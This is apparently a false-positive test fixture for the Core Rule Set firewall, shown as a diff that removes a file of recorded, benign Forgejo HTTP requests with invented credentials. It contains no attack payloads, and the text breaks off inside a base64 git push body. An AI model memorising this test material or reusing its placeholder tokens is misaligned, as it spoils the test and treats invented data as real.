{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 97", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "HX-Current-URL: http://example.com/alice/tools/_edit/main/docs/setup.md", "Content-Type: application/x-www-form-urlencoded", "HX-Request: true", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "context=%2Falice%2Ftools%2Fsrc%2Fbranch%2Fmain&content=%23%20Setup%0A%0AInstall%20the%20tools.%0A"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}
|
|
||||||
-976
@@ -1,976 +0,0 @@
|
|||||||
# Ordinary Forgejo 17.0.1 requests that the Core Rule Set must let through at
|
|
||||||
# the defaults. They were recorded from a Forgejo driven by a headless Chrome,
|
|
||||||
# signed out, signed in and on the admin pages, by git over HTTP, by curl on
|
|
||||||
# the API and the generic package registry, and by crane on the container
|
|
||||||
# registry. Each line is one request as JSON. Names, addresses and passwords
|
|
||||||
# are invented. The browser's User-Agent is an ordinary Chrome's. A body or a
|
|
||||||
# multipart part that is not text is written as base64.
|
|
||||||
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/forgot_password", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 91", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate"], "body": "user_name=bob&email=bob%40example.com&password=Wd7-kPq3-Zx8n-Rf2m&retype=Wd7-kPq3-Zx8n-Rf2m"}
|
|
||||||
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US; flash=success%3DAccount%2Bwas%2Bsuccessfully%2Bcreated.%2BWelcome%2521"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/dashboard-repo-list.98057021.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/dashboard-repo-list.09995173.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?count_only=1&uid=2&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/events", "headers": ["Host: example.com", "Connection: keep-alive", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/event-stream", "Referer: http://example.com/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?count_only=1&uid=1&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 179", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "uid=1&repo_name=tools&description=Build+scripts+and+notes&repo_template=&auto_init=on&gitignores=&license=&readme=Default&issue_labels=&object_format_name=sha1&default_branch=main"}
|
|
||||||
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 59", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "org_name=acme&visibility=0&repo_admin_change_team_access=on"}
|
|
||||||
{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?count_only=1&uid=3&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=3&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 181"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 223"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0009done\n0000"}
|
|
||||||
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 1195"], "body": "MDBiNTAyNWVjYjU3MTVhZDg4NzUwYmM4OTQ0YWUzZWUwMDIzNzc2YjA4YTMgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAA+YDXiclYtbCsIwEAD/c4r8C7J5bLMFEXuUzWaLgVZLmoLHtx7B+RkYmN5UrRTyOCtLiSKEgCPMPnoix7FIRBiT5hSd2bjpq1vwqJIxOeRClBCy0Bgja1AF8CGlIQNxMHz057vZaami9sY/PfTD67boVd7r3bo0xkAOh8Fe4MScda2961+TmUqx+ahLsbu0uvXdfAHWnz/YoRR4nDM0MDAzMVHQS88syUzPyy9KZTiU2lsrbdjSY104jdX5NHPG05wrxw2hqjJKEpOTU4uLGaIm9ecuijp2bVeqB3fZBavC0xMSLaCKglwdXXxd9XJTGIra7y45/9VpvTvn0Xl2Kzsfiq1znAJVFJ1SlJhWEgtS9fmKeemzqGM9rJ0rpsnMS4t74ZzpYmIABApJmXkMS35PtDvsY3r29PzXKw5bNU9ZxpERBzUjJT85O7VINzk/tyC/OFWvMjeHQWd5y3flxTNnR91tzrz0g3Vzj8LbmxCzgIqLGfhebpt28ZJ3sYB3caHp4gO26QUZiyDSxclFmQUlxQxfH11qDNt8SW+e8ule1UMm87rDHz6HqihKZkjJPfl/b6+HvVWbwP4LLHLrGh0WWwIAQ5+D9D54nMvLT0mNz81PKc1JLdbnAgAqqgU4sQF4nPMvKMnMzytW0PXMS0mtSC3mAgA5BQYUNnicSylKTCvhAgAIQAIcrQJ4nDM0MDAzMVFIyU/OTi3STc0rKaosyM/MK2EwlNlx2uGU5d7E5T2We5qlPpa4xEUBAGp2Eai0AXicU1bUT8rM0y/O4EqtSE1WUF